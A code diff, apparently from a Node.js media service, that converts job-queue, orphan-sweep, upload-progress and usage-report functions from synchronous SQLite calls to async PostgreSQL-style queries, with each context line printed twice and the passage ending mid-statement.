@@ -151,11 +151,11 @@ function orphans({ grace = graceMs(), now = Date.now() } = {}) {
@@ -151,11 +151,11 @@ function orphans({ grace = graceMs(), now = Date.now() } = {}) {
let lastSweepAt = 0;
let lastSweepAt = 0;
/** Queue vod.finalize for every orphan (due every MEDIA_FINALIZE_SWEEP_S; `force` = now). */
/** Queue vod.finalize for every orphan (due every MEDIA_FINALIZE_SWEEP_S; `force` = now). */
-function sweepOrphans({ force = false, now = Date.now(), grace } = {}) {
+async function sweepOrphans({ force = false, now = Date.now(), grace } = {}) {
if (!force && now - lastSweepAt < sweepEveryMs()) return 0;
if (!force && now - lastSweepAt < sweepEveryMs()) return 0;
lastSweepAt = now;
lastSweepAt = now;
let n = 0;
let n = 0;
- for (const id of orphans({ grace, now })) { const r = queueFinalize(id, 'orphan'); if (r && r.created) n++; }
+ for (const id of await orphans({ grace, now })) { const r = await queueFinalize(id, 'orphan'); if (r && r.created) n++; }
return n;
return n;
}
}
@@ -72,9 +72,9 @@ async function execute(row, laneName) {
@@ -72,9 +72,9 @@ async function execute(row, laneName) {
const leaseS = cfg().leaseS;
const leaseS = cfg().leaseS;
const token = row.lease_token;
const token = row.lease_token;
let cancelRequested = !!row.cancel_requested;
let cancelRequested = !!row.cancel_requested;
- const beat = setInterval(() => {
+ const beat = setInterval(async () => {
try {
try {
- const r = queue.renew(row.id, { leaseS, token });
+ const r = await queue.renew(row.id, { leaseS, token });
if (!r.held) { clearInterval(beat); ac.abort(new queue.JobError('media.job.lease_lost', 'this worker no longer holds the job', { permanent: true })); return; }
if (!r.held) { clearInterval(beat); ac.abort(new queue.JobError('media.job.lease_lost', 'this worker no longer holds the job', { permanent: true })); return; }
if (r.cancelRequested && !cancelRequested) { cancelRequested = true; ac.abort(new Error('cancelled by its owner')); }
if (r.cancelRequested && !cancelRequested) { cancelRequested = true; ac.abort(new Error('cancelled by its owner')); }
} catch { /* next beat */ }
} catch { /* next beat */ }
@@ -89,23 +89,23 @@ async function execute(row, laneName) {
@@ -89,23 +89,23 @@ async function execute(row, laneName) {
signal: ac.signal,
signal: ac.signal,
checkpoint: queue.parseJson(row.checkpoint, null),
checkpoint: queue.parseJson(row.checkpoint, null),
attempt: row.attempts,
attempt: row.attempts,
- saveCheckpoint: (cp, alsoInTx) => { queue.saveCheckpoint(row.id, cp, alsoInTx, { token }); ctx.checkpoint = cp; },
+ saveCheckpoint: async (cp, alsoInTx) => { await queue.saveCheckpoint(row.id, cp, alsoInTx, { token }); ctx.checkpoint = cp; },
cancelled: () => cancelRequested,
cancelled: () => cancelRequested,
};
};
try {
try {
if (!spec) throw new queue.JobError('media.job.unknown_type', `No handler for ${row.job_type}`, { permanent: true });
if (!spec) throw new queue.JobError('media.job.unknown_type', `No handler for ${row.job_type}`, { permanent: true });
const result = await spec.run(queue.jobPublic(row), ctx);
const result = await spec.run(queue.jobPublic(row), ctx);
- queue.succeed(row.id, result, { token });
+ await queue.succeed(row.id, result, { token });
} catch (err) {
} catch (err) {
- const fresh = queue.get(row.id);
+ const fresh = await queue.get(row.id);
if (cancelRequested || (fresh && fresh.cancel_requested)) {
if (cancelRequested || (fresh && fresh.cancel_requested)) {
- queue.markCancelled(row.id, { result: ctx.checkpoint ? { checkpoint: ctx.checkpoint } : null, token });
+ await queue.markCancelled(row.id, { result: ctx.checkpoint ? { checkpoint: ctx.checkpoint } : null, token });
} else {
} else {
const permanent = !!(err && err.permanent);
const permanent = !!(err && err.permanent);
const attempts = fresh ? fresh.attempts : row.attempts;
const attempts = fresh ? fresh.attempts : row.attempts;
const more = !permanent && attempts < (fresh ? fresh.max_attempts : row.max_attempts);
const more = !permanent && attempts < (fresh ? fresh.max_attempts : row.max_attempts);
const retryIn = err && err.retryAfterS != null ? err.retryAfterS : backoffS(spec || {}, attempts);
const retryIn = err && err.retryAfterS != null ? err.retryAfterS : backoffS(spec || {}, attempts);
- const failed = queue.fail(row.id, { message: (err && err.message) || String(err), code: (err && err.code) || null, retryInS: more ? retryIn : null, token });
+ const failed = await queue.fail(row.id, { message: (err && err.message) || String(err), code: (err && err.code) || null, retryInS: more ? retryIn : null, token });
if (failed && !more) console.warn(`[Jobs] ${row.job_type} ${row.id} failed: ${(err && err.message) || err}`);
if (failed && !more) console.warn(`[Jobs] ${row.job_type} ${row.id} failed: ${(err && err.message) || err}`);
}
}
} finally {
} finally {
@@ -122,22 +122,22 @@ async function execute(row, laneName) {
@@ -122,22 +122,22 @@ async function execute(row, laneName) {
* Resolves when it finishes; resolves null when someone else already took it.
* Resolves when it finishes; resolves null when someone else already took it.
*/
*/
async function runNow(id) {
async function runNow(id) {
- const row = queue.claim([], { id, leaseS: cfg().leaseS });
+ const row = await queue.claim([], { id, leaseS: cfg().leaseS });
if (!row) return null;
if (!row) return null;
await execute(row, 'direct');
await execute(row, 'direct');
- return queue.get(id);
+ return await queue.get(id);
}
}
-function scheduleInvariantScans(nowMs = Date.now()) {
+async function scheduleInvariantScans(nowMs = Date.now()) {
const hours = cfg().invariantScanHours;
const hours = cfg().invariantScanHours;
if (!hours || hours <= 0) return 0;
if (!hours || hours <= 0) return 0;
const periodMs = hours * 3600 * 1000;
const periodMs = hours * 3600 * 1000;
const period = Math.floor(nowMs / periodMs);
const period = Math.floor(nowMs / periodMs);
let n = 0;
let n = 0;
- const tenants = db.all(`SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'`);
+ const tenants = await db.all(`SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'`);
for (const { app_id: appId } of tenants) {
for (const { app_id: appId } of tenants) {
try {
try {
- const r = queue.enqueue({ appId, type: 'invariant.scan', params: {}, idempotencyKey: `invariant.scan:${hours}h:${period}`, createdBy: 'system:schedule' });
+ const r = await queue.enqueue({ appId, type: 'invariant.scan', params: {}, idempotencyKey: `invariant.scan:${hours}h:${period}`, createdBy: 'system:schedule' });
if (r.created) n++;
if (r.created) n++;
} catch (err) { console.warn(`[Jobs] could not schedule invariant.scan for ${appId}: ${err.message}`); }
} catch (err) { console.warn(`[Jobs] could not schedule invariant.scan for ${appId}: ${err.message}`); }
}
}
@@ -150,26 +150,26 @@ async function tick() {
@@ -150,26 +150,26 @@ async function tick() {
try {
try {
do {
do {
kicked = false;
kicked = false;
- queue.recoverInterrupted({ except: new Set(running.keys()) });
+ await queue.recoverInterrupted({ except: new Set(running.keys()) });
const now = Date.now();
const now = Date.now();
if (now - lastScheduleAt > 10 * 60 * 1000) {
if (now - lastScheduleAt > 10 * 60 * 1000) {
lastScheduleAt = now;
lastScheduleAt = now;
- scheduleInvariantScans(now);
- try { require('./duration-reconcile').schedule(now); } catch (err) { console.warn('[Jobs] duration reconcile schedule:', err.message); }
- try { require('./content-hash').schedule(now); } catch (err) { console.warn('[Jobs] content hash schedule:', err.message); }
- try { require('./storage-orphans').schedule(now); } catch (err) { console.warn('[Jobs] storage orphan scan schedule:', err.message); }
+ await scheduleInvariantScans(now);
+ try { await require('./duration-reconcile').schedule(now); } catch (err) { console.warn('[Jobs] duration reconcile schedule:', err.message); }
+ try { await require('./content-hash').schedule(now); } catch (err) { console.warn('[Jobs] content hash schedule:', err.message); }
+ try { await require('./storage-orphans').schedule(now); } catch (err) { console.warn('[Jobs] storage orphan scan schedule:', err.message); }
}
}
- try { require('./vod-finalize').sweepOrphans({ now }); } catch (err) { console.warn('[Jobs] orphan sweep:', err.message); }
+ try { await require('./vod-finalize').sweepOrphans({ now }); } catch (err) { console.warn('[Jobs] orphan sweep:', err.message); }
if (now - lastPruneAt > 6 * 3600 * 1000) {
if (now - lastPruneAt > 6 * 3600 * 1000) {
lastPruneAt = now;
lastPruneAt = now;
- try { const n = queue.prune({ days: cfg().retentionDays }); if (n) console.log(`[Jobs] pruned ${n} finished thumbnail/hash job(s)`); } catch { /* next time */ }
+ try { const n = await queue.prune({ days: cfg().retentionDays }); if (n) console.log(`[Jobs] pruned ${n} finished thumbnail/hash job(s)`); } catch { /* next time */ }
}
}
for (const lane of lanes()) {
for (const lane of lanes()) {
if (lane.name === 'heavy' && !cfg().heavyWhileRecording && recordingActive()) continue;
if (lane.name === 'heavy' && !cfg().heavyWhileRecording && recordingActive()) continue;
while (inLane(lane.name) < lane.max) {
while (inLane(lane.name) < lane.max) {
- const row = queue.claim(lane.types, { leaseS: cfg().leaseS });
+ const row = await queue.claim(lane.types, { leaseS: cfg().leaseS });
if (!row) break;
if (!row) break;
- execute(row, lane.name);
+ execute(row, lane.name).catch((err) => console.warn(`[Jobs] ${row.id}: ${err.message}`)); // runs in its lane; the loop claims the next
}
}
}
}
} while (kicked);
} while (kicked);
@@ -193,10 +193,10 @@ function abort(id) {
@@ -193,10 +193,10 @@ function abort(id) {
return !!r;
return !!r;
}
}
-function start() {
+async function start() {
if (started || !cfg().enabled) return false;
if (started || !cfg().enabled) return false;
started = true;
started = true;
- const n = queue.recoverInterrupted({ all: true });
+ const n = await queue.recoverInterrupted({ all: true });
if (n) console.log(`[Jobs] ${n} job(s) interrupted by the restart were requeued or failed`);
if (n) console.log(`[Jobs] ${n} job(s) interrupted by the restart were requeued or failed`);
lastScheduleAt = Date.now(); // the first scheduled scan waits a few minutes after boot
lastScheduleAt = Date.now(); // the first scheduled scan waits a few minutes after boot
timer = setInterval(() => { tick().catch(() => {}); }, cfg().pollMs);
timer = setInterval(() => { tick().catch(() => {}); }, cfg().pollMs);
@@ -214,8 +214,8 @@ function stop() {
@@ -214,8 +214,8 @@ function stop() {
for (const r of running.values()) r.ac.abort(new Error('the service is stopping'));
for (const r of running.values()) r.ac.abort(new Error('the service is stopping'));
}
}
-function status() {
- return { enabled: cfg().enabled, started, running: [...running.entries()].map(([id, r]) => ({ id, lane: r.lane })), counts: queue.counts(), stale_refused: queue.staleStats() };
+async function status() {
+ return { enabled: cfg().enabled, started, running: [...running.entries()].map(([id, r]) => ({ id, lane: r.lane })), counts: await queue.counts(), stale_refused: queue.staleStats() };
}
}
module.exports = { start, stop, kick, tick, abort, runNow, execute, status, scheduleInvariantScans, isStarted: () => started, _running: running };
module.exports = { start, stop, kick, tick, abort, runNow, execute, status, scheduleInvariantScans, isStarted: () => started, _running: running };
@@ -78,9 +78,9 @@ function parseFilters(query = {}) {
@@ -78,9 +78,9 @@ function parseFilters(query = {}) {
}
}
/** The tenant as the person sees it: id, name, whether it is a developer project's sandbox. */
/** The tenant as the person sees it: id, name, whether it is a developer project's sandbox. */
-function tenantOf(appId, cache = new Map()) {
+async function tenantOf(appId, cache = new Map()) {
if (!cache.has(appId)) {
if (!cache.has(appId)) {
- const app = db.getApp(appId);
+ const app = await db.getApp(appId);
cache.set(appId, {
cache.set(appId, {
app_id: appId,
app_id: appId,
name: (app && app.name) || appId,
name: (app && app.name) || appId,
@@ -92,12 +92,12 @@ function tenantOf(appId, cache = new Map()) {
@@ -92,12 +92,12 @@ function tenantOf(appId, cache = new Map()) {
}
}
/** Non-deleted objects made out of each of `ids`: Map<id, count>. */
/** Non-deleted objects made out of each of `ids`: Map<id, count>. */
-function derivativeCounts(ids) {
+async function derivativeCounts(ids) {
const out = new Map();
const out = new Map();
if (!ids.length) return out;
if (!ids.length) return out;
const ph = ids.map(() => '?').join(', ');
const ph = ids.map(() => '?').join(', ');
const rels = DERIVED_RELATIONS.map(() => '?').join(', ');
const rels = DERIVED_RELATIONS.map(() => '?').join(', ');
- const rows = db.all(`SELECT x.src AS src, COUNT(DISTINCT x.d) AS n FROM (
+ const rows = await db.all(`SELECT x.src AS src, COUNT(DISTINCT x.d) AS n FROM (
SELECT v.object_id AS src, v.derived_object_id AS d FROM media_variants v WHERE v.object_id IN (${ph})
SELECT v.object_id AS src, v.derived_object_id AS d FROM media_variants v WHERE v.object_id IN (${ph})
UNION
UNION
SELECT r.to_object_id, r.from_object_id FROM media_relationships r WHERE r.to_object_id IN (${ph}) AND r.relation IN (${rels})
SELECT r.to_object_id, r.from_object_id FROM media_relationships r WHERE r.to_object_id IN (${ph}) AND r.relation IN (${rels})
@@ -123,13 +123,13 @@ function inFlightBytes(ctx, id) {
@@ -123,13 +123,13 @@ function inFlightBytes(ctx, id) {
* How far a native upload has got: a multipart session's parts received, the bytes a PUT stored (the
* How far a native upload has got: a multipart session's parts received, the bytes a PUT stored (the
* upload then waits for complete), or a PUT still streaming. Bytes received vs the declared size.
* upload then waits for complete), or a PUT still streaming. Bytes received vs the declared size.
*/
*/
-function uploadProgress(obj, locs, ctx) {
+async function uploadProgress(obj, locs, ctx) {
const declared = Number(obj.size_bytes) || 0;
const declared = Number(obj.size_bytes) || 0;
- const session = db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [obj.id]);
- const reservation = db.get('SELECT expires_at FROM media_quota_reservations WHERE object_id = ?', [obj.id]);
+ const session = await db.get("SELECT * FROM media_uploads WHERE object_id = ? AND status IN ('active', 'completing') ORDER BY created_at DESC LIMIT 1", [obj.id]);
+ const reservation = await db.get('SELECT expires_at FROM media_quota_reservations WHERE object_id = ?', [obj.id]);
let out;
let out;
if (session) {
if (session) {
- const parts = db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b FROM media_upload_parts WHERE upload_id = ?', [session.id]);
+ const parts = await db.get('SELECT COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS b FROM media_upload_parts WHERE upload_id = ?', [session.id]);
out = {
out = {
method: 'multipart', waiting_for: session.status === 'completing' ? 'assembly' : 'parts',
method: 'multipart', waiting_for: session.status === 'completing' ? 'assembly' : 'parts',
received_bytes: parts.b, parts_received: parts.n, parts_expected: session.parts_expected,
received_bytes: parts.b, parts_received: parts.n, parts_expected: session.parts_expected,
@@ -151,11 +151,11 @@ function uploadProgress(obj, locs, ctx) {
@@ -151,11 +151,11 @@ function uploadProgress(obj, locs, ctx) {
}
}
/** One object as its owner sees it: no keys, paths, staff notes or other people's data. */
/** One object as its owner sees it: no keys, paths, staff notes or other people's data. */
-function item(obj, ctx, derivatives = 0) {
+async function item(obj, ctx, derivatives = 0) {
const md = model.parseJson(obj.metadata, {}) || {};
const md = model.parseJson(obj.metadata, {}) || {};
- const locs = model.listLocations(obj.id);
- const r = readiness.compute(obj, locs);
- const tenant = tenantOf(obj.app_id, ctx.tenants);
+ const locs = await model.listLocations(obj.id);
+ const r = await readiness.compute(obj, locs);
+ const tenant = await tenantOf(obj.app_id, ctx.tenants);
const ready = obj.lifecycle_status === 'ready';
const ready = obj.lifecycle_status === 'ready';
return {
return {
id: obj.id,
id: obj.id,
@@ -171,9 +171,9 @@ function item(obj, ctx, derivatives = 0) {
@@ -171,9 +171,9 @@ function item(obj, ctx, derivatives = 0) {
lifecycle_status: obj.lifecycle_status,
lifecycle_status: obj.lifecycle_status,
readiness: { metadata: r.metadata, bytes_verified: r.bytes_verified, playable: r.playable, reason: r.reason },
readiness: { metadata: r.metadata, bytes_verified: r.bytes_verified, playable: r.playable, reason: r.reason },
// Only whether a retention hold keeps it; its kind, reason, note and who placed it are staff's.
// Only whether a retention hold keeps it; its kind, reason, note and who placed it are staff's.
- held: model.isHeld(obj.id),
+ held: await model.isHeld(obj.id),
derivatives,
derivatives,
- upload: obj.lifecycle_status === 'uploading' && !obj.legacy_ref ? uploadProgress(obj, locs, ctx) : null,
+ upload: obj.lifecycle_status === 'uploading' && !obj.legacy_ref ? await uploadProgress(obj, locs, ctx) : null,
failure: obj.lifecycle_status === 'failed' ? text(md.failure, 60) : null,
failure: obj.lifecycle_status === 'failed' ? text(md.failure, 60) : null,
deleted: obj.lifecycle_status === 'deleted'
deleted: obj.lifecycle_status === 'deleted'
? { deleted_at: iso(obj.deleted_at), retention_until: iso(md.retention_until), purged: !!md.purged_at } : null,
? { deleted_at: iso(obj.deleted_at), retention_until: iso(md.retention_until), purged: !!md.purged_at } : null,
@@ -185,7 +185,7 @@ function item(obj, ctx, derivatives = 0) {
@@ -185,7 +185,7 @@ function item(obj, ctx, derivatives = 0) {
}
}
/** A page of the subject's objects, newest first: { objects, next_cursor, limit }. */
/** A page of the subject's objects, newest first: { objects, next_cursor, limit }. */
-function list(subject, filters = {}) {
+async function list(subject, filters = {}) {
const f = { limit: DEFAULT_LIMIT, ...filters };
const f = { limit: DEFAULT_LIMIT, ...filters };
const conds = ['o.owner_subject = @subject'];
const conds = ['o.owner_subject = @subject'];
const p = { subject };
const p = { subject };
@@ -199,49 +199,49 @@ function list(subject, filters = {}) {
@@ -199,49 +199,49 @@ function list(subject, filters = {}) {
p.q = f.q; p.ql = f.q.toLowerCase();
p.q = f.q; p.ql = f.q.toLowerCase();
}
}
const limit = Math.min(Math.max(Number(f.limit) || DEFAULT_LIMIT, 1), MAX_LIMIT);
const limit = Math.min(Math.max(Number(f.limit) || DEFAULT_LIMIT, 1), MAX_LIMIT);
- const rows = db.all(`SELECT o.* FROM media_objects o WHERE ${conds.join(' AND ')} ORDER BY o.id DESC LIMIT ${limit + 1}`, p);
+ const rows = await db.all(`SELECT o.* FROM media_objects o WHERE ${conds.join(' AND ')} ORDER BY o.id DESC LIMIT ${limit + 1}`, p);
const page = rows.slice(0, limit);
const page = rows.slice(0, limit);
- const counts = derivativeCounts(page.map(o => o.id));
+ const counts = await derivativeCounts(page.map(o => o.id));
const ctx = { tenants: new Map() };
const ctx = { tenants: new Map() };
return {
return {
- objects: page.map(o => item(o, ctx, counts.get(o.id) || 0)),
+ objects: (await Promise.all(page.map(async o => await item(o, ctx, counts.get(o.id) || 0)))),
next_cursor: rows.length > limit ? page[page.length - 1].id : null,
next_cursor: rows.length > limit ? page[page.length - 1].id : null,
limit,
limit,
};
};
}
}
/** One of the subject's objects (med_ id or legacy ref) with copies, derivatives and jobs; null when it is not theirs. */
/** One of the subject's objects (med_ id or legacy ref) with copies, derivatives and jobs; null when it is not theirs. */
-function detail(subject, idOrRef) {
+async function detail(subject, idOrRef) {
const key = String(idOrRef || '');
const key = String(idOrRef || '');
- const obj = key.startsWith('legacy:') ? model.getObjectByLegacyRef(key) : (ID_RE.test(key) ? model.getObject(key) : null);
+ const obj = key.startsWith('legacy:') ? await model.getObjectByLegacyRef(key) : (ID_RE.test(key) ? await model.getObject(key) : null);
if (!obj || !subject || obj.owner_subject !== subject) return null;
if (!obj || !subject || obj.owner_subject !== subject) return null;
const ctx = { tenants: new Map() };
const ctx = { tenants: new Map() };
const derived = new Map();
const derived = new Map();
- for (const v of db.all('SELECT variant_name, derived_object_id FROM media_variants WHERE object_id = ? ORDER BY id', [obj.id])) {
+ for (const v of await db.all('SELECT variant_name, derived_object_id FROM media_variants WHERE object_id = ? ORDER BY id', [obj.id])) {
derived.set(v.derived_object_id, v.variant_name);
derived.set(v.derived_object_id, v.variant_name);
}
}
- for (const r of db.all(`SELECT relation, from_object_id FROM media_relationships WHERE to_object_id = ? AND relation IN (${DERIVED_RELATIONS.map(() => '?').join(', ')}) ORDER BY id`,
+ for (const r of await db.all(`SELECT relation, from_object_id FROM media_relationships WHERE to_object_id = ? AND relation IN (${DERIVED_RELATIONS.map(() => '?').join(', ')}) ORDER BY id`,
[obj.id, ...DERIVED_RELATIONS])) {
[obj.id, ...DERIVED_RELATIONS])) {
if (!derived.has(r.from_object_id)) derived.set(r.from_object_id, r.relation === 'thumbnail_of' ? 'thumbnail' : 'derived');
if (!derived.has(r.from_object_id)) derived.set(r.from_object_id, r.relation === 'thumbnail_of' ? 'thumbnail' : 'derived');
}
}
const derivatives = [];
const derivatives = [];
for (const [id, name] of derived) {
for (const [id, name] of derived) {
- const d = model.getObject(id);
+ const d = await model.getObject(id);
if (!d) continue;
if (!d) continue;
derivatives.push({ id: d.id, name, kind: d.kind, visibility: d.visibility, lifecycle_status: d.lifecycle_status, size_bytes: Number(d.size_bytes) || 0, mine: d.owner_subject === subject, created_at: iso(d.created_at) });
derivatives.push({ id: d.id, name, kind: d.kind, visibility: d.visibility, lifecycle_status: d.lifecycle_status, size_bytes: Number(d.size_bytes) || 0, mine: d.owner_subject === subject, created_at: iso(d.created_at) });
}
}
// What it was made from, when that is the person's too (a clip of someone else's stream names no one's VOD).
// What it was made from, when that is the person's too (a clip of someone else's stream names no one's VOD).
- const src = db.get(`SELECT r.relation, r.to_object_id FROM media_relationships r JOIN media_objects s ON s.id = r.to_object_id
+ const src = await db.get(`SELECT r.relation, r.to_object_id FROM media_relationships r JOIN media_objects s ON s.id = r.to_object_id
WHERE r.from_object_id = ? AND r.relation IN ('derived_from', 'thumbnail_of', 'clip_of') AND s.owner_subject = ? ORDER BY r.id LIMIT 1`, [obj.id, subject]);
WHERE r.from_object_id = ? AND r.relation IN ('derived_from', 'thumbnail_of', 'clip_of') AND s.owner_subject = ? ORDER BY r.id LIMIT 1`, [obj.id, subject]);
- const jobs = db.all(`SELECT id, job_type, status, error_code, attempts, max_attempts, created_at, finished_at FROM media_jobs
- WHERE object_id = ? ORDER BY id DESC LIMIT 10`, [obj.id]).map(j => ({
+ const jobs = (await db.all(`SELECT id, job_type, status, error_code, attempts, max_attempts, created_at, finished_at FROM media_jobs
+ WHERE object_id = ? ORDER BY id DESC LIMIT 10`, [obj.id])).map(j => ({
id: j.id, type: j.job_type, status: j.status, error_code: j.error_code || null, attempts: j.attempts, max_attempts: j.max_attempts,
id: j.id, type: j.job_type, status: j.status, error_code: j.error_code || null, attempts: j.attempts, max_attempts: j.max_attempts,
created_at: iso(j.created_at), finished_at: iso(j.finished_at),
created_at: iso(j.created_at), finished_at: iso(j.finished_at),
}));
}));
return {
return {
- ...item(obj, ctx, derivatives.filter(d => d.lifecycle_status !== 'deleted').length),
+ ...await item(obj, ctx, derivatives.filter(d => d.lifecycle_status !== 'deleted').length),
content_hash: obj.content_hash || null,
content_hash: obj.content_hash || null,
- locations: model.listLocations(obj.id).map(l => ({
+ locations: (await model.listLocations(obj.id)).map(l => ({
provider: l.provider, storage_class: l.storage_class, state: l.state, size_bytes: l.size_bytes,
provider: l.provider, storage_class: l.storage_class, state: l.state, size_bytes: l.size_bytes,
verified_at: iso(l.verified_at), canonical: l.provider === obj.canonical_provider,
verified_at: iso(l.verified_at), canonical: l.provider === obj.canonical_provider,
})),
})),
@@ -268,8 +268,8 @@ function group(rows) {
@@ -268,8 +268,8 @@ function group(rows) {
* The subject's usage: their own objects and bytes per tenant and namespace (never a tenant's totals or
* The subject's usage: their own objects and bytes per tenant and namespace (never a tenant's totals or
* quota). Uploading bytes are the declared sizes; deleted ones are kept until the retention purge.
* quota). Uploading bytes are the declared sizes; deleted ones are kept until the retention purge.
*/
*/
-function usage(subject) {
- const rows = db.all(`SELECT app_id, namespace, lifecycle_status AS status, COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b
+async function usage(subject) {
+ const rows = await db.all(`SELECT app_id, namespace, lifecycle_status AS status, COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS b
FROM media_objects WHERE owner_subject = ? GROUP BY app_id, namespace, lifecycle_status ORDER BY app_id, namespace`, [subject]);
FROM media_objects WHERE owner_subject = ? GROUP BY app_id, namespace, lifecycle_status ORDER BY app_id, namespace`, [subject]);
const tenants = new Map();
const tenants = new Map();
const cache = new Map();
const cache = new Map();
@@ -283,11 +283,11 @@ function usage(subject) {
@@ -283,11 +283,11 @@ function usage(subject) {
return {
return {
subject,
subject,
totals: group(rows),
totals: group(rows),
- tenants: [...tenants].map(([appId, t]) => ({
- ...tenantOf(appId, cache),
+ tenants: (await Promise.all([...tenants].map(async ([appId, t]) => ({
+ ...await tenantOf(appId, cache),
...group(t.rows),
...group(t.rows),
namespaces: [...t.namespaces].map(([namespace, nsRows]) => ({ namespace, ...group(nsRows) })),
namespaces: [...t.namespaces].map(([namespace, nsRows]) => ({ namespace, ...group(nsRows) })),
- })),
+ })))),
quotas: null,
quotas: null,
note: 'Your own objects only. Quotas are set per app and namespace by their operators and are not shown here.',
note: 'Your own objects only. Quotas are set per app and namespace by their operators and are not shown here.',
};
};
@@ -27,23 +27,23 @@ function scoped(appId, col = 'app_id') {
@@ -27,23 +27,23 @@ function scoped(appId, col = 'app_id') {
return appId ? { sql: ` AND ${col} = ?`, params: [appId] } : { sql: '', params: [] };
return appId ? { sql: ` AND ${col} = ?`, params: [appId] } : { sql: '', params: [] };
}
}
-function tableExists(name) {
- return !!db.get("SELECT 1 AS x FROM sqlite_master WHERE type = 'table' AND name = ?", [name]);
+async function tableExists(name) {
+ return !!await db.get("SELECT 1 AS x FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = ?", [name]);
}
}
// ── Jobs ─────────────────────────────────────────────────────
// ── Jobs ─────────────────────────────────────────────────────
-function jobs(appId, limit) {
+async function jobs(appId, limit) {
const s = scoped(appId);
const s = scoped(appId);
const byStatus = {};
const byStatus = {};
- for (const r of db.all(`SELECT status, COUNT(*) AS n FROM media_jobs WHERE 1 = 1${s.sql} GROUP BY status`, s.params)) byStatus[r.status] = r.n;
+ for (const r of await db.all(`SELECT status, COUNT(*) AS n FROM media_jobs WHERE 1 = 1${s.sql} GROUP BY status`, s.params)) byStatus[r.status] = r.n;
const total = byStatus.failed || 0;
const total = byStatus.failed || 0;
- const week = db.all(`SELECT job_type, COALESCE(error_code, '') AS error_code, COUNT(*) AS n FROM media_jobs
+ const week = (await db.all(`SELECT job_type, COALESCE(error_code, '') AS error_code, COUNT(*) AS n FROM media_jobs
WHERE status = 'failed' AND COALESCE(finished_at, updated_at) >= datetime('now', '-7 days')${s.sql}
WHERE status = 'failed' AND COALESCE(finished_at, updated_at) >= datetime('now', '-7 days')${s.sql}
- GROUP BY job_type, error_code ORDER BY n DESC, job_type`, s.params)
+ GROUP BY job_type, error_code ORDER BY n DESC, job_type`, s.params))
.map(r => ({ type: r.job_type, error_code: r.error_code || null, count: r.n }));
.map(r => ({ type: r.job_type, error_code: r.error_code || null, count: r.n }));
- const recent = db.all(`SELECT id, app_id, object_id, job_type, error_code, error, attempts, max_attempts, created_by, created_at, finished_at, updated_at
- FROM media_jobs WHERE status = 'failed'${s.sql} ORDER BY COALESCE(finished_at, updated_at) DESC, id DESC LIMIT ?`, [...s.params, limit])
+ const recent = (await db.all(`SELECT id, app_id, object_id, job_type, error_code, error, attempts, max_attempts, created_by, created_at, finished_at, updated_at
+ FROM media_jobs WHERE status = 'failed'${s.sql} ORDER BY COALESCE(finished_at, updated_at) DESC, id DESC LIMIT ?`, [...s.params, limit]))
.map(j => ({
.map(j => ({
id: j.id, app_id: j.app_id, object_id: j.object_id || null, type: j.job_type, error_code: j.error_code || null,
id: j.id, app_id: j.app_id, object_id: j.object_id || null, type: j.job_type, error_code: j.error_code || null,
error: clip(j.error, 500), attempts: j.attempts, max_attempts: j.max_attempts, created_by: j.created_by || null,
error: clip(j.error, 500), attempts: j.attempts, max_attempts: j.max_attempts, created_by: j.created_by || null,
@@ -54,32 +54,32 @@ function jobs(appId, limit) {
@@ -54,32 +54,32 @@ function jobs(appId, limit) {
// ── Missing media ────────────────────────────────────────────
// ── Missing media ────────────────────────────────────────────
-function missing(appId, limit) {
+async function missing(appId, limit) {
const s = scoped(appId, 'o.app_id');
const s = scoped(appId, 'o.app_id');
- const q = { get: (sql, p) => db.get(sql, p), all: (sql, p) => db.all(sql, p) };
- const noGood = copyReport.countNoGoodCopy(q, { appId });
- const hasVerifications = tableExists('media_verifications');
- const noGoodList = db.all(`SELECT o.id, o.app_id, o.kind, o.legacy_ref, o.size_bytes${hasVerifications ? ', v.status AS verify_status, v.verified_at' : ''}
+ const q = { get: async (sql, p) => await db.get(sql, p), all: async (sql, p) => await db.all(sql, p) };
+ const noGood = await copyReport.countNoGoodCopy(q, { appId });
+ const hasVerifications = await tableExists('media_verifications');
+ const noGoodList = (await db.all(`SELECT o.id, o.app_id, o.kind, o.legacy_ref, o.size_bytes${hasVerifications ? ', v.status AS verify_status, v.verified_at' : ''}
FROM media_objects o${hasVerifications ? ' LEFT JOIN media_verifications v ON v.object_id = o.id' : ''}
FROM media_objects o${hasVerifications ? ' LEFT JOIN media_verifications v ON v.object_id = o.id' : ''}
- WHERE ${copyReport.NO_GOOD_COPY_WHERE}${s.sql} ORDER BY o.app_id, o.id LIMIT ?`, [...s.params, limit])
+ WHERE ${copyReport.NO_GOOD_COPY_WHERE}${s.sql} ORDER BY o.app_id, o.id LIMIT ?`, [...s.params, limit]))
.map(o => ({ id: o.id, app_id: o.app_id, kind: o.kind, legacy_ref: o.legacy_ref || null, size_bytes: o.size_bytes,
.map(o => ({ id: o.id, app_id: o.app_id, kind: o.kind, legacy_ref: o.legacy_ref || null, size_bytes: o.size_bytes,
last_verification: hasVerifications && o.verify_status ? { status: o.verify_status, at: iso(o.verified_at) } : null }));
last_verification: hasVerifications && o.verify_status ? { status: o.verify_status, at: iso(o.verified_at) } : null }));
- const byState = db.all(`SELECT l.provider, l.state, COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id
- WHERE o.lifecycle_status != 'deleted'${s.sql} GROUP BY l.provider, l.state ORDER BY l.provider, l.state`, s.params)
+ const byState = (await db.all(`SELECT l.provider, l.state, COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id
+ WHERE o.lifecycle_status != 'deleted'${s.sql} GROUP BY l.provider, l.state ORDER BY l.provider, l.state`, s.params))
.map(r => ({ provider: r.provider, state: r.state, count: r.n }));
.map(r => ({ provider: r.provider, state: r.state, count: r.n }));
- const bad = db.all(`SELECT l.object_id, l.provider, l.state, l.verified_at, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status
